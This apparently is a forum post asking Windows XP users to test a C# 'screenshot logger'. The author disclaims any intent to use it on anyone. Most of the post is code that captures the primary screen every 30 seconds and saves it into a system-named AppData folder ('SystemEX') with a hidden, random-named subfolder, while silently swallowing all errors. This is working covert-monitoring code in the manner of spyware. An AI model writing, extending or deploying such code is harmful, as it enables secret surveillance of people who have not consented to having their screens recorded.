I am making this program but I'm not sure if it will work on windows xp. I've done it using net framework 3.5 so its compatible but it would help alot more if someone with windows xp could test it.
This program so far takes a screenshot every 30 seconds (timer tick) and saves it to a hidden folder which is why I need help as the document paths are different on XP. Its sort of a screenshot logger, gotta say I'm not intending to use on anyone, I just enjoy programming different things.
One last thing before anyone points it out, I know the "Current folder" variable seems redundant but i'm planning on making a new folder every 20 screenshots or so.
public partial class Form1 : Form
{
public static Int32 ScreenshotNumber = 1;
public static Int32 CurrentFolder = 1;
public Form1()
{
InitializeComponent();
}
private void ImageTimer_Tick(object sender, EventArgs e)
{ //checking if primary folder exists, if not, make it
if (!Directory.Exists(@"C:\Users\" + Environment.UserName + @"\AppData\Roaming\SystemEX"))
{
try
{
Directory.CreateDirectory(@"C:\Users\" + Environment.UserName + @"\AppData\Roaming\" + "SystemEX");
Directory.CreateDirectory(@"C:\Users\" + Environment.UserName + @"\AppData\Roaming\SystemEX\" + "01I28SJ3");
try { File.SetAttributes(@"C:\Users\" + Environment.UserName + @"\AppData\Roaming\SystemEX\" + "01I28SJ3", FileAttributes.Hidden); }
catch { }
Directory.CreateDirectory(@"C:\Users\" + Environment.UserName + @"\AppData\Roaming\SystemEX\01I28SJ3\" + "1");
}
catch { }
} //checking if secondary folder exists, if not, make it
else if (!Directory.Exists(@"C:\Users\" + Environment.UserName + @"\AppData\Roaming\SystemEX\01I28SJ3"))
{
try
{
Directory.CreateDirectory(@"C:\Users\" + Environment.UserName + @"\AppData\Roaming\SystemEX\" + "01I28SJ3");
try { File.SetAttributes(@"C:\Users\" + Environment.UserName + @"\AppData\Roaming\SystemEX\" + "01I28SJ3", FileAttributes.Hidden); }
catch { }
Directory.CreateDirectory(@"C:\Users\" + Environment.UserName + @"\AppData\Roaming\SystemEX\01I28SJ3\" + "1");
}
catch { }
}
try
{ //take a screenshot
Bitmap Printscreen = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics graphics = Graphics.FromImage(Printscreen as Image);
graphics.CopyFromScreen(0, 0, 0, 0, Printscreen.Size);
//save it
if (Directory.Exists(@"C:\Users\" + Environment.UserName + @"\AppData\Roaming\SystemEX\01I28SJ3\"))
{
Printscreen.Save(@"C:\Users\" + Environment.UserName + @"\AppData\Roaming\SystemEX\01I28SJ3\" + CurrentFolder + @"\" + "Screenshot" + Convert.ToString(ScreenshotNumber) + ".jpg", ImageFormat.Jpeg);
ScreenshotNumber += 1;
}
}
catch { }
}
}